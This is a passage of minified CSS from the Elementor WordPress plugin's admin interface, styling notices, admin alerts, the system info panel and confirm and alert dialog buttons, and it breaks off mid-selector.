--e-notice-context-tint: var(--e-context-cta-tint-1); --e-notice-box-shadow: 0 1px 4px rgba(0,0,0,.15); --e-notice-dismiss-color: #3f444b; } .e-notice { position: relative; display: flex; font-family: Roboto, Arial, Helvetica, sans-serif; background: var(--e-notice-bg); border: 1px solid var(--e-notice-border-color); border-inline-start-width: 4px; box-shadow: var(--e-notice-box-shadow); margin: 5px 20px 5px 2px; } .e-notice.notice { padding: 0; } .e-notice::before { display: block; content: ""; position: absolute; inset-inline-start: -4px; inset-block-start: -1px; inset-block-end: -1px; width: 4px; background-color: var(--e-notice-context-color); } .e-notice--primary { --e-notice-context-color: var(--e-context-primary-color); --e-notice-context-color-dark: var(--e-context-primary-color-dark); --e-notice-context-tint: var(--e-context-primary-tint-1); } .e-notice--success { --e-notice-context-color: var(--e-context-success-color); --e-notice-context-color-dark: var(--e-context-success-color-dark); --e-notice-context-tint: var(--e-context-success-tint-1); } .e-notice--info { --e-notice-context-color: var(--e-context-info-color); --e-notice-context-color-dark: var(--e-context-info-color-dark); --e-notice-context-tint: var(--e-context-info-tint-1); } .e-notice--warning { --e-notice-context-color: var(--e-context-warning-color); --e-notice-context-color-dark: var(--e-context-warning-color-dark); --e-notice-context-tint: var(--e-context-warning-tint-1); } .e-notice--error { --e-notice-context-color: var(--e-context-error-color); --e-notice-context-color-dark: var(--e-context-error-color-dark); --e-notice-context-tint: var(--e-context-error-tint-1); } .e-notice--cta { --e-notice-context-color: var(--e-context-cta-color); --e-notice-context-color-dark: var(--e-context-cta-color-dark); --e-notice-context-tint: var(--e-context-cta-tint-1); } .e-notice--extended { --e-notice-is-extended: 1; } .e-notice--dismissible { padding-inline-end: 38px; } .e-notice__aside { overflow: hidden; background-color: var(--e-notice-context-tint); width: calc(var(--e-notice-is-extended, 0) * 50px); text-align: center; padding-block-start: 15px; flex-grow: 0; flex-shrink: 0; } .e-notice__icon-wrapper { display: inline-block; font-size: 0.625rem; max-height: 1.5rem; width: 1.5rem; line-height: 1.5rem; border-radius: 100px; background: var(--e-notice-context-color); color: #fff; text-shadow: 0 0 3px var(--e-notice-context-color-dark), 0 0 1px var(--e-notice-context-color-dark), 0 0 1px var(--e-notice-context-color-dark); } .e-notice__content { padding: 20px; } .e-notice__actions { display: flex; } .e-notice__actions > * + * { margin-inline-start: 8px; } .e-notice__dismiss { width: 20px; height: 20px; line-height: 20px; font-size: 0.8125rem; text-align: center; background: none; display: block; position: absolute; inset-block-start: 0; inset-inline-end: 1px; border: none; margin: 0; padding: 9px; cursor: pointer; font-style: normal; } .e-notice__dismiss:before { font-family: eicons; display: inline-block; content: "\e87f"; color: var(--e-notice-dismiss-color); width: 20px; border-radius: 20px; speak: none; text-align: center; } .e-notice__dismiss:hover:before, .e-notice__dismiss:active:before, .e-notice__dismiss:focus:before { font-weight: bold; } .e-notice__dismiss:focus:before { color: #fff; background: var(--e-notice-dismiss-color); outline: none; } .e-notice__dismiss:focus { outline: none; } .e-notice p { line-height: 1.2; padding: 0; margin: 0; } .e-notice p + .e-notice__actions { margin-block-start: 1rem; } .e-notice h3 { font-size: 1.0625rem; line-height: 1.2; margin: 0; } .e-notice h3 + p { margin-block-start: 8px; } /*= Elementor Admin Alert ---------------------------------------*/ .elementor-admin-alert { padding: 15px; border-inline-start: 3px solid transparent; position: relative; font-size: 12px; line-height: 1.5; text-align: start; } .elementor-admin-alert a { color: inherit; } .elementor-admin-alert.elementor-alert-info { color: var(--e-a-color-info); background-color: var(--e-a-bg-info); border-color: var(--e-a-color-info); } .elementor-admin-alert.elementor-alert-success { color: var(--e-a-color-success); background-color: var(--e-a-bg-success); border-color: var(--e-a-color-success); } .elementor-admin-alert.elementor-alert-warning { color: var(--e-admin-color-warning); background-color: var(--e-a-bg-warning); border-color: var(--e-a-color-warning); } .elementor-admin-alert.elementor-alert-danger { color: var(--e-a-color-danger); background-color: var(--e-a-bg-danger); border-color: var(--e-a-color-danger); } /*= Elementor System Info ---------------------------------------*/ #elementor-system-info { padding: 15px; } #elementor-system-info .elementor-system-info-header { display: flex; justify-content: space-between; align-items: center; } #elementor-system-info .elementor-system-info-section { margin-block-end: 10px; } #elementor-system-info .elementor-system-info-section .widefat { white-space: pre; } #elementor-system-info .elementor-system-info-section .elementor-log-entries { white-space: pre-wrap; } #elementor-system-info .elementor-system-info-section:not(.elementor-system-info-log) tbody td:first-child { width: 300px; } #elementor-system-info .elementor-system-info-section:not(.elementor-system-info-log) td { white-space: break-spaces; } #elementor-system-info .elementor-system-info-field-recommendation { padding-inline-start: 10px; color: #7F7F7F; } #elementor-system-info .elementor-system-info-plugin-name { color: #000; } #elementor-system-info .elementor-system-info-plugin-properties { padding: 10px; } #elementor-system-info #elementor-system-info-raw-code { width: 100%; height: 200px; } #elementor-system-info #elementor-system-info-raw-code-label { padding: 5px; display: block; } #elementor-system-info .elementor-warning td:first-child { border-inline-start: 3px solid #F59E0B; } #elementor-system-info a.box-title-tool { font-size: 80%; margin-inline-start: 15px; color: #69727D; } #elementor-system-info a.box-title-tool:hover { text-decoration: underline; } #elementor-system-info #elementor-usage-recalc { font-size: 12px; color: #ffffff; background-color: #9DA5AE; padding: 4px 18px 5px 18px; border-radius: 3px; } .dialog-type-confirm .dialog-widget-content, .dialog-type-alert .dialog-widget-content { margin: auto; width: 400px; padding: 20px; } .dialog-type-confirm .dialog-header, .dialog-type-alert .dialog-header { font-size: 15px; font-weight: 500; } .dialog-type-confirm .dialog-header:after, .dialog-type-alert .dialog-header:after { content: ""; display: block; border-block-end: var(--e-a-border); padding-block-end: 10px; margin-block-end: 10px; margin-inline-start: -20px; margin-inline-end: -20px; } .dialog-type-confirm .dialog-message, .dialog-type-alert .dialog-message { min-height: 50px; } .dialog-type-confirm .dialog-buttons-wrapper, .dialog-type-alert .dialog-buttons-wrapper { padding-block-start: 10px; display: flex; justify-content: flex-end; gap: 15px; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button, .dialog-type-alert .dialog-buttons-wrapper .dialog-button { font-size: 12px; font-weight: 500; line-height: 1.2; padding: 8px 16px; outline: none; border: none; border-radius: var(--e-a-border-radius); background-color: var(--e-a-btn-bg); color: var(--e-a-btn-color-invert); transition: var(--e-a-transition-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover { border: none; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus { background-color: var(--e-a-btn-bg-hover); color: var(--e-a-btn-color-invert); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:active { background-color: var(--e-a-btn-bg-active); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not([disabled]), .dialog-type-alert .dialog-buttons-wrapper .dialog-button:not([disabled]) { cursor: pointer; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:disabled { background-color: var(--e-a-btn-bg-disabled); color: var(--e-a-btn-color-disabled); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon { display: none; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel { background: transparent; color: var(--e-a-color-txt); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus { background: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:disabled, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip:disabled, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:disabled, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled { background: transparent; color: var(--e-a-color-txt-disabled); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt-border, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt-border { border: 1px solid var(--e-a-color-txt-muted); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success { background-color: var(--e-a-btn-bg-success); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:focus { background-color: var(--e-a-btn-bg-success-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over { background-color: var(--e-a-btn-bg-primary); color: var(--e-a-btn-color); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus { background-color: var(--e-a-btn-bg-primary-hover); color: var(--e-a-btn-color); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel { background: transparent; color: var(--e-a-color-primary-bold); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-cancel:focus { background: var(--e-a-bg-primary); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent { background-color: var(--e-a-btn-bg-accent); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:focus { background-color: var(--e-a-btn-bg-accent-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:active, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:active { background-color: var(--e-a-btn-bg-accent-active); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info { background-color: var(--e-a-btn-bg-info); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:focus { background-color: var(--e-a-btn-bg-info-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning { background-color: var(--e-a-btn-bg-warning); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:focus, .dialog-type-alert .dialog-buttons-wrapper 